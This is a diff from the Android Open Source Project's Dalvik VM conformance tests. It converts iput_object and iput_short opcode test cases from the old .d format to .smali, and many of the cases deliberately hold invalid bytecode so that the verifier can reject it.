--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_8.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/TestStubs;-><init>()V
+
+       iput-object v2, v0, Ldot/junit/opcodes/iput_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.smali
new file mode 100644
index 0000000..5049bab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_9;
+.super Ljava/lang/Object;
+.source "T_iput_object_9.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_9noclass;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.d
deleted file mode 100644
index 8aca4729..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_1.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_1
-.super java/lang/Object
-
-.field public  st_i1 S
-.field protected  st_p1 S
-.field private  st_pvt1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public getPvtField()S
-.limit regs 2
-
-       iget-short v0, v1, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_pvt1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali
new file mode 100644
index 0000000..8c422ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_1.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+.field protected  st_p1:S
+.field private  st_pvt1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public getPvtField()S
+.registers 2
+
+       iget-short v0, v1, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_pvt1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.d
deleted file mode 100644
index 7feaba8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_10.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_10
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_10.st_i1N S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali
new file mode 100644
index 0000000..01f49e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_10.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_10;->st_i1N:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.d
deleted file mode 100644
index 23539d3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_11.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/TestStubs/<init>()V
-
-       const v1, 1
-       iput-short v1, v0, dot.junit.opcodes.iput_short.TestStubs.TestStubFieldFinal S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali
new file mode 100644
index 0000000..f10d1c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_11.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/TestStubs;->TestStubFieldFinal:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.d
deleted file mode 100644
index b0f2f15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_12.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_12
-.super java/lang/Object
-
-.field public  final st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_12.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali
new file mode 100644
index 0000000..79ae5eef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_12.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_12;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.d
deleted file mode 100644
index 4472907..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_13.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_13
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 77
-       iput-short v1, v0, dot.junit.opcodes.iput_short.d.T_iput_short_13.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali
new file mode 100644
index 0000000..9f3b892
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_13.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_13;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.d
deleted file mode 100644
index f7b07c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_14.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_14
-.super dot/junit/opcodes/iput_short/d/T_iput_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/d/T_iput_short_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()S
-.limit regs 2
-
-       iget-short v0, v1, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_p1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_p1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali
new file mode 100644
index 0000000..29c10f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_14.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_14;
+.super  Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()S
+.registers 2
+
+       iget-short v0, v1, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_p1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_p1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.d
deleted file mode 100644
index 5732b91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_15.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_15
-.super dot/junit/opcodes/iput_short/d/T_iput_short_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/d/T_iput_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_pvt1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali
new file mode 100644
index 0000000..451d1ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_15.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_15;
+.super  Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_pvt1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.d
deleted file mode 100644
index bd8966a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_17.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_17.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali
new file mode 100644
index 0000000..6570533
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_17.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_17;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.d
deleted file mode 100644
index 5d543c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_18.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali
new file mode 100644
index 0000000..ee2906b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_18.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.d
deleted file mode 100644
index ae98945..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_2.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_2
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-short v0, v2, dot.junit.opcodes.iput_short.d.T_iput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali
new file mode 100644
index 0000000..64bbfd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_2.java"
